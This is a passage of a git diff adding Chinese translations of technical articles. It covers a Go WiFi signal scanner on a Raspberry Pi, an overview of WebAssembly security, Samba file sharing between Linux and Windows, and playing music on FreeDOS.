+去年夏天,我和妻子变卖了家产,带着我们的两只狗移居了夏威夷。这里有美丽的阳光、温暖的沙滩、凉爽的冲浪等你能想到的一切。我们同样遇到了一些意料之外的事:WiFi 问题。 + +不过,这不是夏威夷的问题,而是我们租住公寓的问题。我们住在一个单身公寓里,与房东的公寓仅一墙之隔。我们的租房协议中包含了免费的网络连接!好耶!只不过,它是由房东的公寓里的 WiFi 提供的,哇哦…… + +说实话,它的效果还不错……吧?好吧,我承认它不尽如人意,并且不知道是哪里的问题。路由器明明就在墙的另一边,但我们的信号就是很不稳定,经常会自动断开连接。在家的时候,我们的 WiFi 路由器的信号能够穿过层层墙壁和地板。事实上,它所覆盖的区域比我们居住的 600 平方英尺(大约 55 平方米)的公寓还要大。 + +在这种情况下,一个优秀的技术人员会怎么做呢?既然想知道为什么,当然是开始排查咯! + +幸运的是,我们在搬家之前并没有变卖掉树莓派 Zero W。它是如此小巧便携! 我当然就把它一起带来了。我有一个机智的想法:通过树莓派和它内置的 WiFi 适配器,使用 Go 语言编写一个小程序来测量并显示从路由器收到的 WiFi 信号。我打算先简单快速地把它实现出来,以后再去考虑优化。真是麻烦!我现在只想知道这个 WiFi 是怎么回事! + +谷歌搜索了一番后,我发现了一个比较有用的 Go 软件包 [mdlayher/wifi][2],它专门用于 WiFi 相关操作,听起来很有希望! + +### 获取 WiFi 接口的信息 + +我的计划是查询 WiFi 接口的统计数据并返回信号强度,所以我需要先找到设备上的接口。幸运的是,`mdlayher/wifi` 包有一个查询它们的方法,所以我可以创建一个 `main.go` 来实现它,具体代码如下: + +``` +package main + +import ( + "fmt" + "github.com/mdlayher/wifi" +) + +func main() { + c, err := wifi.New() + defer c.Close() + + if err != nil { + panic(err) + } + + interfaces, err := c.Interfaces() + + for _, x := range interfaces { + fmt.Printf("%+v\n", x) + } +} +``` + +让我们来看看上面的代码都做了什么吧!首先是导入依赖包,导入后,我就可以使用 `mdlayher/wifi` 模块就在 `main` 函数中创建一个新的客户端(类型为 `*Client`)。接下来,只需要调用这个新的客户端(变量名为 `c`)的 `c.Interfaces()` 方法就可以获得系统中的接口列表。接着,我就可以遍历包含接口指针的切片(变长数组),然后打印出它们的具体信息。 + +注意到 `%+v` 中有一个 `+` 了吗?它意味着程序会详细输出 `*Interface` 结构体中的属性名,这将有助于我标识出我看到的东西,而不用去查阅文档。 + +运行上面的代码后,我得到了机器上的 WiFi 接口列表: + +``` +&{Index:0 Name: HardwareAddr:5c:5f:67:f3:0a:a7 PHY:0 Device:3 Type:P2P device Frequency:0} +&{Index:3 Name:wlp2s0 HardwareAddr:5c:5f:67:f3:0a:a7 PHY:0 Device:1 Type:station Frequency:2412} +``` + +注意,两行输出中的 MAC 地址(`HardwareAddr`)是相同的,这意味着它们是同一个物理硬件。你也可以通过 `PHY: 0` 来确认。查阅 Go 的 [wifi 模块文档][3],`PHY` 指的就是接口所属的物理设备。 + +第一个接口没有名字,类型是 `TYPE: P2P`。第二个接口名为 `wpl2s0`,类型是 `TYPE: Station`。`wifi` 模块的文档列出了 [不同类型的接口][4],以及它们的用途。根据文档,`P2P`(点对点传输) 类型表示“该接口属于点对点客户端网络中的一个设备”。我认为这个接口的用途是 [WiFi 直连][5] ,这是一个允许两个 WiFi 设备在没有中间接入点的情况下直接连接的标准。 + +`Station`(基站)类型表示“该接口是具有控制接入点controlling access point的客户端设备管理的基本服务集basic service set(BSS)的一部分”。这是大众熟悉的无线设备标准功能:作为一个客户端来连接到网络接入点。这是测试 WiFi 质量的重要接口。 + +### 利用接口获取基站信息 + +利用该信息,我可以修改遍历接口的代码来获取所需信息: + +``` +for _, x := range interfaces { + if x.Type == wifi.InterfaceTypeStation { + // c.StationInfo(x) returns a slice of all + // the staton information about the interface + info, err := c.StationInfo(x) + if err != nil { + fmt.Printf("Station err: %s\n", err) + } + for _, x := range info { + fmt.Printf("%+v\n", x) + } + } +} +``` + +首先,这段程序检查了 `x.Type`(接口类型)是否为 `wifi.InterfaceTypeStation`,它是一个基站接口(也是本练习中唯一涉及到的类型)。不幸的是名字出现了冲突,这个接口“类型”并不是 Golang 中的“类型”。事实上,我在这里使用了一个叫做 `interfaceType` 的 Go 类型来代表接口类型。呼,我花了一分钟才弄明白! + +然后,假设接口的类型正确,我们就可以调用 `c.StationInfo(x)` 来检索基站信息,`StationInfo()` 方法可以获取到关于这个接口 `x` 的信息。 + +这将返回一个包含 `*StationInfo` 指针的切片。我不大确定这里为什么要用切片,或许是因为接口可能返回多个 `StationInfo`?不管怎么样,我都可以遍历这个切片,然后使用之前提到的 `+%v` 技巧格式化打印出 `StationInfo` 结构的属性名和属性值。 + +运行上面的程序后,我得到了下面的输出: + +``` +&{HardwareAddr:70:5a:9e:71:2e:d4 Connected:17m10s Inactive:1.579s ReceivedBytes:2458563 TransmittedBytes:1295562 ReceivedPackets:6355 TransmittedPackets:6135 ReceiveBitrate:2000000 TransmitBitrate:43300000 Signal:-79 TransmitRetries:2306 TransmitFailed:4 BeaconLoss:2} +``` + +我感兴趣的是 `Signal`(信号)部分,可能还有 `TransmitFailed`(传输失败)和 `BeaconLoss`(信标丢失)部分。信号强度是以 dBm(分贝-毫瓦decibel-milliwatts)为单位来报告的。 + +#### 简短科普:如何读懂 WiFi dBm + +根据 [MetaGeek][6] 的说法: + +* -30 最佳,但它既不现实也没有必要 +* -67 非常好,它适用于需要可靠数据包传输的应用,例如流媒体 +* -70 还不错,它是实现可靠数据包传输的底线,适用于电子邮件和网页浏览 +* -80 很差,只是基本连接,数据包传输不可靠 +* -90 不可用,接近“背景噪声noise floor” + +*注意:dBm 是对数尺度,-60 比 -30 要低 1000 倍。* + +### 使它成为一个真的“扫描器” + +所以,看着上面输出显示的我的信号:-79。哇哦,感觉不大好呢。不过单看这个结果并没有太大帮助,它只能提供某个时间点的参考,只对 WiFi 网络适配器在特定物理空间的某一瞬间有效。一个连续的读数会更有用,借助于它,我们观察到信号随着树莓派的移动而变化。我可以再次修改 `main` 函数来实现这一点。 + +``` +var i *wifi.Interface + +for _, x := range interfaces { + if x.Type == wifi.InterfaceTypeStation { + // Loop through the interfaces, and assign the station + // to var x + // We could hardcode the station by name, or index, + // or hardwareaddr, but this is more portable, if less efficient + i = x + break + } +} + +for { + // c.StationInfo(x) returns a slice of all + // the staton information about the interface + info, err := c.StationInfo(i) + if err != nil { + fmt.Printf("Station err: %s\n", err) + } + + for _, x := range info { + fmt.Printf("Signal: %d\n", x.Signal) + } + + time.Sleep(time.Second) +} +``` + +首先,我命名了一个 `wifi.Interface` 类型的变量 `i`。因为它在循环的范围外,所以我可以用它来存储接口信息。循环内创建的任何变量在该循环的范围外都是不可访问的。 + +然后,我可以把这个循环一分为二。第一个遍历了 `c.Interfaces()` 返回的接口切片,如果元素是一个 `Station` 类型,它就将其存储在先前创建的变量 `i` 中,并跳出循环。 + +第二个循环是一个死循环,它将不断地运行,直到我按下 `Ctrl + C` 来结束程序。和之前一样,这个循环内部获取接口信息、检索基站信息,并打印出信号信息。然后它会休眠一秒钟,再次运行,反复打印信号信息,直到我退出为止。 + +运行上面的程序后,我得到了下面的输出: + +``` +[chris@marvin wifi-monitor]$ go run main.go +Signal: -81 +Signal: -81 +Signal: -79 +Signal: -81 +``` + +哇哦,感觉不妙。 + +### 绘制公寓信号分布图 + +不管怎么说,知道这些信息总比不知道要好。让树莓派连接上显示器或者电子墨水屏,并接上电源,我就可以让它在公寓里移动,并绘制出信号死角的位置。 + +剧透一下:由于房东的接入点在隔壁的公寓里,对我来说最大的死角是以公寓厨房的冰箱为顶点的一个圆锥体形状区域......这个冰箱与房东的公寓靠着一堵墙! + +我想如果用《龙与地下城》里的黑话来说,它就是一个“沉默之锥Cone of Silence”。或者至少是一个“糟糕的网络连接之锥Cone of Poor Internet”。 + +总之,这段代码可以直接在树莓派上运行 `go build -o wifi_scanner` 来编译,得到的二进制文件 `wifi_scanner` 可以运行在其他同样的ARM 设备上。另外,它也可以在常规系统上用正确的 ARM 设备库进行编译。 + +祝你扫描愉快!希望你的 WiFi 路由器不在你的冰箱后面!你可以在 [我的 GitHub 存储库][7] 中找到这个项目所用的代码。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/3/troubleshoot-wifi-go-raspberry-pi + +作者:[Chris Collins][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[turbokernel](https://github.com/turbokernel) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/clcollins +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/coffee_tea_selfcare_wfh_porch_520.png +[2]: https://github.com/mdlayher/wifi +[3]: https://godoc.org/github.com/mdlayher/wifi#Interface +[4]: https://godoc.org/github.com/mdlayher/wifi#InterfaceType +[5]: https://en.wikipedia.org/wiki/Wi-Fi_Direct +[6]: https://www.metageek.com/training/resources/wifi-signal-strength-basics.html +[7]: https://github.com/clcollins/goPiWiFi diff --git a/published/202205/20210323 WebAssembly Security, Now and in the Future.md b/published/202205/20210323 WebAssembly Security, Now and in the Future.md new file mode 100644 index 0000000000..5957391c6f --- /dev/null +++ b/published/202205/20210323 WebAssembly Security, Now and in the Future.md @@ -0,0 +1,87 @@ +[#]: subject: (WebAssembly Security, Now and in the Future) +[#]: via: (https://www.linux.com/news/webassembly-security-now-and-in-the-future/) +[#]: author: (Dan Brown https://training.linuxfoundation.org/announcements/webassembly-security-now-and-in-the-future/) +[#]: collector: (lujun9972) +[#]: translator: (hanszhao80) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14592-1.html) + +WebAssembly 安全的现在和未来 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/14/144316bb8kbwjephjyb427.jpg) + +### 简介 + +正如我们 [最近解释的][1],WebAssembly 是一种用于以任何语言编写的二进制格式的软件,旨在最终无需更改就能在任意平台运行。WebAssembly 的第一个应用是在 Web 浏览器中,以使网站更快、更具交互性。WebAssembly 有计划推向 Web 之外,从各种服务器到物联网(IoT),其创造了很多机会,但也存在很多安全问题。这篇文章是对这些问题和 WebAssembly 安全模型的一篇介绍性概述。 + +### WebAssembly 跟 JavaScript 很像 + +在 Web 浏览器内部,WebAssembly 模块由执行 JavaScript 代码的同一 虚拟机VM 管理。因此,WebAssembly 和 JavaScript 一样,造成的危害也是相同的,只是效率更高,更不易被察觉。由于 JavaScript 是纯文本,运行前需要浏览器编译,而 WebAssembly 是一种可立即运行的二进制格式,运行速度更快,也更难被扫描出(即使使用杀毒软件)其中的恶意指令。 + +WebAssembly 的这种 “代码混淆” 效果已经被用来弹出不请自来的广告,或打开假的 “技术支持” 窗口,要求提供敏感数据。另一个把戏则是自动将浏览器重定向到包含真正危险的恶意软件的 “落地” 页。 + +最后,就像 JavaScript 一样,WebAssembly 可能被用来 “窃取” 处理能力而不是数据。2019 年,[对 150 个不同的 WASM 模块的分析][2] 发现,其中约 _32%_ 被用于加密货币挖掘。 + +### WebAssembly 沙盒和接口 + +WebAssembly 代码在一个由虚拟机(而不是操作系统)管理的 [沙盒][3] 中封闭运行。这使它无法看到主机,也无法直接与主机交互。对系统资源(文件、硬件或互联网连接)的访问只能通过该虚拟机提供的 WebAssembly 系统接口WebAssembly System Interface(WASI) 进行。 + +WASI 不同于大多数其他应用程序编程接口(API),它具有独特的安全特性,真正推动了 WASM 在传统服务器和边缘Edge计算场景中的采用,这将是下一篇文章的主题。在这里,可以说,当从 Web 迁移到其他环境时,它的安全影响会有很大的不同。现代 Web 浏览器是极其复杂的软件,但它是建立在数十年的经验和数十亿人的日常测试之上的。与浏览器相比,服务器或物联网(IoT)设备几乎是未知领域。这些平台的虚拟机将需要扩展 WASI,因此,肯定会带来新的安全挑战。 + +### WebAssembly 中的内存和代码管理 + +与普通的编译程序相比,WebAssembly 应用程序对内存的访问非常受限,对它们自己也是如此。WebAssembly 代码不能直接访问尚未调用的函数或变量,不能跳转到任意地址,也不能将内存中的数据作为字节码指令执行。 + +在浏览器内部,WASM 模块只能获得一个连续字节的全局数组(线性内存linear memory)进行操作。WebAssembly 可以直接读写该区域中的任意位置,或者请求增加其大小,但仅此而已。这个线性内存linear memory也与包含其实际代码、执行堆栈、当然还有运行 WebAssembly 的虚拟机的区域分离。对于浏览器来说,所有这些数据结构都是普通的 JavaScript 对象,使用标准过程与所有其他对象隔离。 + +### 结果还好,但不完美 + +所有这些限制使得 WebAssembly 模块很难做出不当行为,但也并非不可能。 + +沙盒化的内存使 WebAssembly 几乎不可能接触到 __外部__ 的东西,也使操作系统更难防止 __内部__ 发生不好的事情。传统的内存监测机制,比如 [堆栈金丝雀][4]Stack Canaries 能注意到是否有代码试图扰乱它不应该接触的对象,[但在这里没用][5]。 + +事实上,WebAssembly 只能访问自己的线性内存linear memory,但可以直接访问,这也可能为攻击者的行为 _提供便利_。有了这些约束和对模块源代码的访问,就更容易猜测覆盖哪些内存位置可能造成最大的破坏。破坏局部变量似乎也是 [可能的][6],因为它们停留在线性内存linear memory中的无监督堆栈中。 + +2020 年的一篇关于 [WebAssembly 的二进制安全性][5] 的论文指出,WebAssembly 代码仍然可以在设定的常量内存中覆盖字符串文字。同一篇论文描述了在三个不同的平台(浏览器、Node.JS 上的服务端应用程序,和独立 WebAssembly 虚拟机的应用程序)上,WebAssembly 可能比编译为原生二进制文件时更不安全的其他方式。建议进一步阅读此主题。 + +通常,认为 WebAssembly 只能破坏其自身沙盒中的内容的想法可能会产生误导。WebAssembly 模块为调用它们的 JavaScript 代码做繁重的工作,每次都会交换变量。如果模块在这些变量中的任意一处写入不安全的调用 WebAssembly 的 JavaScript 代码,就 _会_ 导致崩溃或数据泄露。 + +### 未来的方向 + +WebAssembly 的两个新出现的特性:[并发][7] 和内部垃圾收集,肯定会影响其安全性(如何影响以及影响多少,现在下结论还为时过早)。 + +并发允许多个 WebAssembly 模块在同一个虚拟机中并行。目前,只有通过 JavaScript [web workers][8] 才能实现这一点,但更好的机制正在开发中。安全方面,他们可能会带来 [以前不需要的大量的代码][9],也就是更多出错的方法。 + +为了提高性能和安全性,我们需要一个 [本地的垃圾收集器][10],但最重要的是,要在经过良好测试的浏览器的 Java 虚拟机之外使用 WebAssembly,因为这些虚拟机无论如何都会在自己内部收集所有的垃圾。当然,甚至这个新代码也可能成为漏洞和攻击的另一个入口。 + +往好处想,使 WebAssembly 比现在更安全的通用策略也是存在的。再次引用 [这篇文章][5],这些策略包括:编译器改进、栈/堆和常量数据的 _分离_ 的线性存储机制,以及避免使用 **不安全的语言**(如 C)编译 WebAssembly 模块代码。 + +*本文 [WebAssembly 安全的现在和未来][11] 首次发表在 [Linux 基金会 - 培训][12]。* + +-------------------------------------------------------------------------------- + +via: https://www.linux.com/news/webassembly-security-now-and-in-the-future/ + +作者:[Dan Brown][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://training.linuxfoundation.org/announcements/webassembly-security-now-and-in-the-future/ +[b]: https://github.com/lujun9972 +[1]: https://training.linuxfoundation.org/announcements/an-introduction-to-webassembly/ +[2]: https://www.sec.cs.tu-bs.de/pubs/2019a-dimva.pdf +[3]: https://webassembly.org/docs/security/ +[4]: https://ctf101.org/binary-exploitation/stack-canaries/ +[5]: https://www.usenix.org/system/files/sec20-lehmann.pdf +[6]: https://spectrum.ieee.org/tech-talk/telecom/security/more-worries-over-the-security-of-web-assembly +[7]: https://github.com/WebAssembly/threads +[8]: https://en.wikipedia.org/wiki/Web_worker +[9]: https://googleprojectzero.blogspot.com/2018/08/the-problems-and-promise-of-webassembly.html +[10]: https://github.com/WebAssembly/gc/blob/master/proposals/gc/Overview.md +[11]: https://training.linuxfoundation.org/announcements/webassembly-security-now-and-in-the-future/ +[12]: https://training.linuxfoundation.org/ diff --git a/published/202205/20210428 Share files between Linux and Windows computers.md b/published/202205/20210428 Share files between Linux and Windows computers.md new file mode 100644 index 0000000000..a5820c1b3d --- /dev/null +++ b/published/202205/20210428 Share files between Linux and Windows computers.md @@ -0,0 +1,235 @@ +[#]: subject: (Share files between Linux and Windows computers) +[#]: via: (https://opensource.com/article/21/4/share-files-linux-windows) +[#]: author: (Stephan Avenwedde https://opensource.com/users/hansic99) +[#]: collector: (lujun9972) +[#]: translator: (hanszhao80) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14537-1.html) + +如何在 Linux 和 Windows 电脑之间共享文件 +====== + +> 使用 Samba 设置跨平台文件共享。 + +![](https://img.linux.net.cn/data/attachment/album/202205/02/233859oqqjvfr6tqz9bfqp.jpg) + +如果你使用不同的操作系统,能够在它们之间共享文件会让你倍感方便。这篇文章介绍如何使用 [Samba][3] 和 [mount.cifs][4] 在 Linux ([Fedora 33][2])和 Windows 10 之间设置文件共享。 + +Samba 是 [SMB/CIFS][5] 协议的 Linux 实现,允许通过网络连接直接访问共享的文件夹和打印机。 mount.cifs 是 Samba 套件的一部分,可让你在 Linux 下挂载 [CIFS][5] 文件系统。 + +> **注意**: 这些说明适用于在你的私有本地网络内,或在 Linux 宿主机和虚拟化的 Windows 访客机之间的虚拟主机专用网络中共享文件。不要将本文视为你公司网络的操作指南,因为本文没有实现必要的网络安全考虑。 + +### 从 Windows 访问 Linux + +本节介绍从 Windows 文件资源管理器访问用户的 Linux 主目录。 + +#### 1、安装和配置 Samba + +进入你的系统安装 Samba: + +``` +dnf install samba +``` + +Samba 是一个系统守护进程,其配置文件位于 `/etc/samba/smb.conf`。它的默认配置应该就可以工作。如果不行,下面这个最小化配置应该可以解决问题: + +``` +[global] +        workgroup = SAMBA +        server string = %h server (Samba %v) +        invalid users = root +        security = user +[homes] +        comment = Home Directories +        browseable = no +        valid users = %S +        writable = yes +``` + +你可以在该项目网站的 [smb.conf][6] 部分找到参数的详细说明。 + +#### 2、修改 LinuxSE + +如果你的 Linux 发行版受 [SELinux][7] 保护(比如 Fedora),必须通过以下命令才能通过 Samba 共享主目录: + +``` +setsebool -P samba_enable_home_dirs on +``` + +通过以下命令查看这个值: + +``` +getsebool samba_enable_home_dirs +``` + +输出如下: + +![Sebool][8] + +#### 3、启用你的用户 + +Samba 使用一组用户/密码来管理连接权限。通过键入以下命令将你的 Linux 用户添加到该集合中: + +``` +smbpasswd -a <你的用户名> +``` + +系统提示你输入密码。这是一个 _全新_ 的密码;而不是你账户的当前密码。请输入你想用来登录 Samba 的密码。 + +键入以下命令得到有 Samba 使用权限的用户列表: + +``` +pdbedit -L -v +``` + +键入以下命令删除一个用户: + +``` +smbpasswd -x <用户名> +``` + +#### 4、开启 Samba + +既然 Samba 是一个系统守护进程,你可以在 Fedora 上键入以下命令启动它: + +``` +systemctl start smb +``` + +这将为当前会话开启 Samba 服务。如果想让它自启动,键入以下命令: + +``` +systemctl enable smb +``` + +在某些系统上,Samba 守护进程注册为 `smbd`。 + +#### 4、配置防火墙 + +你的防火墙会默认阻拦 Samba。通过配置防火墙允许 Samba 能永久访问网络。 + +你可以在命令行执行如下操作: + +``` +firewall-cmd --add-service=samba --permanent +``` + +或者,你可以使用 `firewall-config` 工具以图形化方式进行操作: + +![firewall-config][10] + +#### 5、从 Windows 访问 Samba + +在 Windows 中,打开文件资源管理器。在地址栏中,键入两个反斜杠(`\\`),紧跟你的 Linux 机器的地址(IP 地址或主机名): + +![从 Windows 访问 Linux][11] + +系统将提示你输入登录信息。输入第 3 步中的用户名和密码组合。你现在应该可以访问 Linux 机器上的主目录: + +![从 Windows 访问 Linux][12] + +### 从 Linux 访问 Windows + +以下步骤说明了如何从 Linux 访问共享的 Windows 文件夹。要实现这一点,需要你的 Windows 用户帐户具有管理员权限。 + +#### 1、启用文件共享 + +通过点击 “Windows 按钮” > “设置Settings” > “网络和 InternetNetwork & Internet” ,或者右键单击任务栏右下角的小监视器图标,打开网络和共享中心Open Network an d Sharing Center: + +![打开网络和共享中心][13] + +在打开的窗口中,找到你要使用的连接并记下其配置文件。我使用了 **以太网 3**,它被标记为 公用网络Public Network。 + +> **注意**:如果你的 PC 经常连接公用网络,请考虑将本地计算机的连接配置文件更改为 **私有**。 + +记住你的网络配置,然后单击 更改高级共享设置Change advanced sharing settings: + +![更改高级共享设置][14] + +选择与你的连接对应的配置文件并打开 网络发现network discovery文件和打印机共享file and printer sharing: + +![网络共享设置][15] + +#### 2、定义一个共享文件夹 + +通过右键单击你要共享的文件夹打开上下文菜单,导航到 授予访问权限Give access to,然后选择 特定用户...Specific people...: + +![授予访问权限][16] + +检查你当前的用户名是否在列表中。点击 共享Share 将此文件夹标记为共享: + +![标记为共享][17] + +你可以通过在文件资源管理器的地址栏中输入 `\\localhost` 来显示所有共享文件夹的列表: + +![共享文件夹][18] + +![共享文件夹][19] + +#### 3、在 Linux 下挂载共享文件夹 + +回到你的 Linux 系统,打开一个命令行,然后创建一个新文件夹,用于挂载 Windows 共享: + +``` +mkdir ~/WindowsShare +``` + +挂载 Windows 共享是使用 `mount.cifs` 完成的,它应该被默认安装。使用如下命令临时挂载你的共享文件夹: + +``` +sudo mount.cifs ///MySharedFolder ~/WindowsShare/ -o user=,uid=$UID +``` + +在这个命令里: + + * `` 是 Windows PC 的地址信息(IP 或主机名) + * `` 是允许访问共享文件夹的用户(见步骤 2) + +系统将提示你输入 Windows 密码。之后,你将能够使用普通 Linux 用户访问 Windows 上的共享文件夹。 + +要卸载共享文件夹: + +``` +sudo umount ~/WindowsShare/ +``` + +你还可以在系统启动时挂载 Windows 共享文件夹。按照 [这些步骤][20] 相应地配置你的系统。 + +### 总结 + +在这里展示了如何建立临时的文件夹共享访问权限,每次重启后都要重新设置,因此修改成永久访问会更便利。我经常在不同的系统之间来回切换,对我而言设置直接文件访问非常实用。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/4/share-files-linux-windows + +作者:[Stephan Avenwedde][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hansic99 +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003499_01_cloud21x_cc.png?itok=5UwC92dO (Blue folders flying in the clouds above a city skyline) +[2]: https://getfedora.org/en/workstation/download/ +[3]: https://www.samba.org/ +[4]: https://linux.die.net/man/8/mount.cifs +[5]: https://en.wikipedia.org/wiki/Server_Message_Block +[6]: https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html +[7]: https://www.redhat.com/en/topics/linux/what-is-selinux +[8]: https://opensource.com/sites/default/files/uploads/sebool.png (Enabling Samba to enable user directory access) +[9]: https://creativecommons.org/licenses/by-sa/4.0/ +[10]: https://opensource.com/sites/default/files/uploads/firewall_configuration.png (firewall-config tool) +[11]: https://opensource.com/sites/default/files/uploads/windows_access_shared_1.png (Accessing Linux machine from Windows) +[12]: https://opensource.com/sites/default/files/uploads/windows_acess_shared_2.png (Accessing Linux machine from Windows) +[13]: https://opensource.com/sites/default/files/uploads/open_network_and_sharing_center.png (Open network and sharing center) +[14]: https://opensource.com/sites/default/files/uploads/network_and_sharing_center_2.png (Change advanced sharing settings) +[15]: https://opensource.com/sites/default/files/uploads/network_sharing.png (Network sharing settings) +[16]: https://opensource.com/sites/default/files/pictures/give_access_to.png (Give access) +[17]: https://opensource.com/sites/default/files/pictures/tag_as_shared.png (Tag as shared) +[18]: https://opensource.com/sites/default/files/uploads/show_shared_folder_1.png (Shared folders) +[19]: https://opensource.com/sites/default/files/uploads/show_shared_folder_2.png (Shared folders) +[20]: https://timlehr.com/auto-mount-samba-cifs-shares-via-fstab-on-linux/ diff --git a/published/202205/20210615 Listen to music on FreeDOS.md b/published/202205/20210615 Listen to music on FreeDOS.md new file mode 100644 index 0000000000..cf546b1181 --- /dev/null +++ b/published/202205/20210615 Listen to music on FreeDOS.md @@ -0,0 +1,95 @@ +[#]: subject: (Listen to music on FreeDOS) +[#]: via: (https://opensource.com/article/21/6/listen-music-freedos) +[#]: author: (Jim Hall https://opensource.com/users/jim-hall) +[#]: collector: (lujun9972) +[#]: translator: (hanszhao80) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14603-1.html) + +在 FreeDOS 中聆听音乐 +====== + +> Mplayer 是 Linux、Windows、Mac 和 DOS 等操作系统上常见的一款开源媒体播放器。 + +![](https://img.linux.net.cn/data/attachment/album/202205/17/092828vffyeliiz33hqf31.jpg) + +听音乐是放松心情的好方法。在 Linux 上,我使用 Rhythmbox 听音乐。但是你可能不知道在 FreeDOS 上也可以听音乐。让我们看一下两款流行的音乐播放器吧: + +### 用 Mplayer 听音乐 + +[Mplayer][2] 是一款开源的媒体播放器,通常安装于 Linux、Windows 和 Mac 上,但也有 DOS 版本可用。这里我们讨论的就是在 FreeDOS 版本。虽然其 DOS 移植版基于旧版(2007 年的 1.0rc2-3-3-2 版),但它完全适用于在 DOS 上播放媒体。 + +我使用 MPlayer 在 FreeDOS 上听音乐文件。在这个例子中,我复制了我最喜欢的有声读物之一,[Big Finish Productions][3] 的神秘博士:闪点行动Doctor Who: Flashpoint,并在我的 FreeDOS 计算机上将其保存为 `C:\MUSIC\FLASHPNT.MP3`。为了在 FreeDOS 上收听闪点行动,我从 FreeDOS 命令行启动 MPlayer 并指定要播放的 MP3 文件名。MPlayer 的基本用法是 `mplayer [options] filename`,如果默认设置可用,你应该可以直接使用该文件名启动 MPlayer。在本例中,我运行以下命令将工作目录切换为 `\MUSIC`,然后使用 MPlayer 播放我的 MP3 有声读物文件: + +``` +CD \MUSIC +MPLAYER FLASHPNT.MP3 +``` + +FreeDOS _不区分大小写_,因此它将忽略 DOS 命令和任何文件或目录的大小写字母的区别。你键入 `cd \music` 或 `Cd \Music` 都可以切换到 Music 目录,效果相同。 + +![FreeDOS 上的 Mplayer][4] + +*你可以用 Mplayer 播放 MP3 文件* + +使用 MPlayer 在 FreeDOS 播放音乐文件时没有花哨的界面。但同时,它也不会分散注意力。所以我可以一边让 FreeDOS 在我的 DOS 计算机上播放 MP3 文件,一边使用另一台计算机做其他事情。然而,FreeDOS 一次只运行一个任务(换句话说,DOS 是一个单任务single-tasking操作系统),所以我不能将 MPlayer 置于 FreeDOS 的“后台”运行,而在 _同一台 FreeDOS 机_ 上处理其他事情。 + +请注意,MPlayer 是一个需要大量内存才能运行的大程序。虽然 DOS 本身并不需要太多的内存来运行,但我建议至少有 16M 的内存来运行 MPlayer。 + +### 使用 Open Cubic Player 听音频文件 + +FreeDOS 不止提供了 MPlayer 来播放媒体。还有 [Open Cubic Player][6],它支持多种文件格式,包括 Midi 和 WAV 文件。 + +1999 年,我录制了一段简短的音频文件,内容是我说:“你好,我是 Jim Hall,我把 ‘FreeDOS’ 发音为 _FreeDOS_。"这是一个玩笑,借鉴了 Linus Torvalds 录制的演示他如何发音 Linux 的 [类似的音频文件][7](`English.au`,包含在 1994 年的 Linux 源代码树中)中的创意。我们不会在 FreeDOS 中分发这段 FreeDOS 音频剪辑,但欢迎你从我们的 [Silly Sounds][8] 目录中下载它,该目录位于 [Ibiblio][9] 的 FreeDOS 文件存档中。 + +你可以使用 Open Cubic Player 收听 _FreeDOS_ 音频剪辑。通常从 `\APPS\OPENCP` 目录键入 `CP` 命令运行 Open Cubic Player。但 Open Cubic Player 是 32 位应用程序,运行它需要 32 位 DOS 扩展器。常见的 DOS 扩展器是 DOS/4GW。虽然可以免费使用,但 DOS/4GW 不是开源程序,因此我们不会将其作为 FreeDOS 包分发。 + +相反,FreeDOS 提供了另一个名为 DOS/32A 的开源32位扩展器。如果你在安装 FreeDOS 时没有安装所有内容,则可能需要使用 [FDIMPLES][10] 进行安装。我使用这两行命令切换到 `\APPS\OPENCP` 路径,并使用 DOS/32A 扩展器运行 Open Cubic Player: + +``` +CD \APPS\OPENCP +DOS32A CP +``` + +Open Cubic Player 没有花哨的用户界面,但你可以使用方向键将 文件选择器File Selector 导航到包含要播放的媒体文件的目录。 + +![Open Cubic Player][11] + +*Open Cubic Player 打开文件选择器* + +文本比在其他 DOS 应用程序中显示的要小,因为 Open Cubic Player 会自动将显示更改为使用 50 行文本,而不是通常的 25 行。当你退出程序时,Open Cubic Player 会将显示重置为 25 行。 + +选择媒体文件后,Open Cubic Player 将循环播放该文件(按键盘上的 `Esc` 键退出)。当文件通过扬声器播放时,Open Cubic Player 会显示一个频谱仪,以便你可以观察左右声道的音频。FreeDOS 音频剪辑是以单声道录制的,因此左右声道是相同的。 + +![Open Cubic Player][12] + +*Open Cubic Player 中播放 FreeDOS 音频文件* + +DOS 可能来自较早的年代,但这并不意味着你不能使用 FreeDOS 来执行现代任务或播放当前的媒体。如果你喜欢听数字音乐,试一试在 FreeDOS上 使用 Open Cubic Player 或 MPlayer 吧! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/listen-music-freedos + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/programming-code-keyboard-laptop-music-headphones.png?itok=EQZ2WKzy (Woman programming) +[2]: https://en.wikipedia.org/wiki/MPlayer +[3]: https://bigfinish.com/ +[4]: 